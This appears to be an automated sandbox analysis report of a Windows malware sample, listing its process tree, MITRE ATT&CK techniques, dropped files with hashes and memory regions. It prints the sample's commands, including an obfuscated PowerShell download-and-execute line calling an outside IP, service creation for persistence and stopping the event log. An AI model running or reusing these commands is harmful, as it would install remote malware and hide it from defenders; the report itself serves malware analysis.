        PID:1568
        
        C:\Windows\system32\powercfg.exe
        
        C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
        10⤵
        Power Settings
        Suspicious use of AdjustPrivilegeToken
        
        PID:2280
        
        C:\Windows\system32\dialer.exe
        
        C:\Windows\system32\dialer.exe
        10⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:1448
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe delete "LIB"
        10⤵
        Launches sc.exe
        
        PID:2324
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe create "LIB" binpath= "C:\ProgramData\Mig\Mig.exe" start= "auto"
        10⤵
        Launches sc.exe
        
        PID:2276
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe stop eventlog
        10⤵
        Launches sc.exe
        
        PID:2064
        
        C:\Windows\system32\sc.exe
        
        C:\Windows\system32\sc.exe start "LIB"
        10⤵
        Launches sc.exe
        
        PID:1228
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://176.113.115.178/FF/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1792
    - - C:\Windows\system32\ipconfig.exe
        
        "C:\Windows\system32\ipconfig.exe" /flushdns
        5⤵
        Gathers network information
        
        PID:1160

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1093872636-98770726189291811-674463445662705599-1420527359-492369512-433891325"
1⤵
PID:2944

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1278316771069943630733583513499642870713752335-392429908-293599347-945817495"
1⤵
PID:2100

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1392297501-136729786-1574935317712526789-138423368014779102356959414941152457754"
1⤵
PID:3068

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-107261553-727417454-20627100801296847340-259591075-511057529813253292880"
1⤵
PID:2388

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2041207293-654718478-19870179831194046535-8020476351865838050759730972-17626046"
1⤵
PID:2412

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "14415618672007507083-1947217072266699287-2078771830-5196751231227055814-1305977794"
1⤵
PID:324

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-11653515044098221031936495319-165647501-785732439-223517622-174885394342713079"
1⤵
PID:1168

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "7381237821642329133-537978835150621927073942420761715383945237387658550117"
1⤵
PID:2812

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1958419288676027462505550483-1787620150133642223-787073684813512879889944081"
1⤵
PID:2140

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-819555644-15303328178600602291755182339-9294407984901380711000409103-415890403"
1⤵
PID:1564

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2379549201174109886-66061726-19980820411345001851610039256-1403470178-764686109"
1⤵
PID:1880

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\tempScript.js

Filesize
2KB

MD5
82f229d0c36b68073da70ef5958e425d

SHA1
2beb8cd227b49b1d119165d6e3d258ddb730387a

SHA256
0f2579fdb9cbaaec15015df17dbaafd73a9d7d3202321aba6a1c8479cac17394

SHA512
4553f11b61e2c1cb1ebf532e7417380a8a5c19121331b76894bf5d3605a905fa3f62b54d596a818709f28c49fd7eb1d880798907a84cac45ccff65ee93f9e970

Download Submit
C:\Users\Admin\AppData\Roaming\CMD.vbs

Filesize
27KB

MD5
238ec4d17050e1841e8e0171407c2260

SHA1
2c8c14b257641f1e1151c6303dabde01621314f2

SHA256
163c4066da47b2e8b7d3690a374c79856417de2e09c74c0e7c807cd0b5c4b8fb

SHA512
3eaa1ebca8b9ad021342846040faf19c5ef420c319a9a649b31ffb9107b54d71f60f6e4372e0256f123b931f5c3dd11a34ad9c4ccb7d0a3c687a90ba50cd2102

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
f49bfdbbedc1cfa82bcc1c67cfe861a8

SHA1
e458cf588723d69228f137495ef1c228e6771254

SHA256
eda1aa8396a266834e3713eea72b246f534124a79160128b9a0141d2a16a5eaf

SHA512
a095098a47a7b18678d6e8195481e47dd02bb1aa835121f3d3f18ace12273f90f2766e63bbfd1b6118e648e6fe72df47f45bac7b7cd6f60e1af359bf718c33de

Download Submit
\??\PIPE\srvsvc

MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
\Users\Admin\AppData\Roaming\LB31.exe

Filesize
7.3MB

MD5
c9e6aa21979d5fc710f1f2e8226d9dfe

SHA1
d881f97a1fe03f43bed2a9609eae65531cf710cf

SHA256
a1a8cfcc74f8f96fd09115189defe07ac6fc2e85a9ff3b3ec9c6f454aede1c1d

SHA512
9e90bcb64b0e1f03e05990cdead076b4c6e0b050932ecb953dae50b7e92b823a80fc66d1fd8753591719e89b405757b2bf7518814bc6a19bb745124d1a691627

Download Submit
memory/428-68-0x0000000000C40000-0x0000000000C6B000-memory.dmp

Filesize
172KB

Download
memory/428-62-0x0000000000B70000-0x0000000000B94000-memory.dmp

Filesize
144KB

Download
memory/428-70-0x0000000037400000-0x0000000037410000-memory.dmp

Filesize
64KB

Download
memory/428-69-0x000007FEBD5D0000-0x000007FEBD5E0000-memory.dmp

Filesize
64KB

Download
memory/428-64-0x0000000000B70000-0x0000000000B94000-memory.dmp

Filesize
144KB

Download
memory/476-72-0x0000000000100000-0x000000000012B000-memory.dmp

Filesize
172KB

Download
memory/476-73-0x000007FEBD5D0000-0x000007FEBD5E0000-memory.dmp

Filesize
64KB

Download
memory/476-74-0x0000000037400000-0x0000000037410000-memory.dmp

Filesize
64KB

Download
memory/476-570-0x000000013FB10000-0x000000014060F000-memory.dmp

Filesize
11.0MB

Download
memory/476-336-0x000000013FB10000-0x000000014060F000-memory.dmp

Filesize
11.0MB

Download
memory/484-79-0x00000000001A0000-0x00000000001CB000-memory.dmp

Filesize
172KB

Download
memory/484-80-0x000007FEBD5D0000-0x000007FEBD5E0000-memory.dmp

Filesize
64KB

Download
memory/484-81-0x0000000037400000-0x0000000037410000-memory.dmp

Filesize
64KB

Download
memory/1448-57-0x00000000773C0000-0x0000000077569000-memory.dmp

Filesize
1.7MB

Download
memory/1448-58-0x00000000771A0000-0x00000000772BF000-memory.dmp

Filesize
1.1MB

Download
memory/1448-59-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/1448-55-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/1448-56-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/1448-51-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/1448-53-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/1448-52-0x0000000140000000-0x000000014002B000-memory.dmp

Filesize
172KB

Download
memory/1632-44-0x000000013F350000-0x000000013FE4F000-memory.dmp

Filesize
11.0MB

Download
memory/1632-30-0x000000001B620000-0x000000001B902000-memory.dmp

Filesize
2.9MB

Download
memory/1632-31-0x00000000028E0000-0x00000000028E8000-memory.dmp

Filesize
32KB

Download
memory/1792-22-0x0000000002D60000-0x0000000002D7A000-memory.dmp

Filesize
104KB

Download
memory/1792-17-0x0000000002340000-0x0000000002348000-memory.dmp

Filesize
32KB

Download
memory/1792-16-0x000000001B720000-0x000000001BA02000-memory.dmp

Filesize
2.9MB

Download
memory/1996-386-0x000000013FB10000-0x000000014060F000-memory.dmp

Filesize
11.0MB

Download
memory/1996-338-0x000000013FB10000-0x000000014060F000-memory.dmp

Filesize
11.0MB

Download
memory/2448-315-0x000000013F350000-0x000000013FE4F000-memory.dmp

Filesize
11.0MB

Download
memory/2448-45-0x000000013F350000-0x000000013FE4F000-memory.dmp

Filesize
11.0MB

Download
memory/2500-0-0x000007FEF5EC3000-0x000007FEF5EC4000-memory.dmp

Filesize
4KB

Download
memory/2500-6-0x000007FEF5EC0000-0x000007FEF68AC000-memory.dmp

Filesize
9.9MB

Download
memory/2500-5-0x000007FEF5EC0000-0x000007FEF68AC000-memory.dmp

Filesize
9.9MB

Download
memory/2500-2-0x0000000000140000-0x0000000000146000-memory.dmp

Filesize
24KB

Download
memory/2500-1-0x0000000001280000-0x0000000001292000-memory.dmp

Filesize
72KB

Download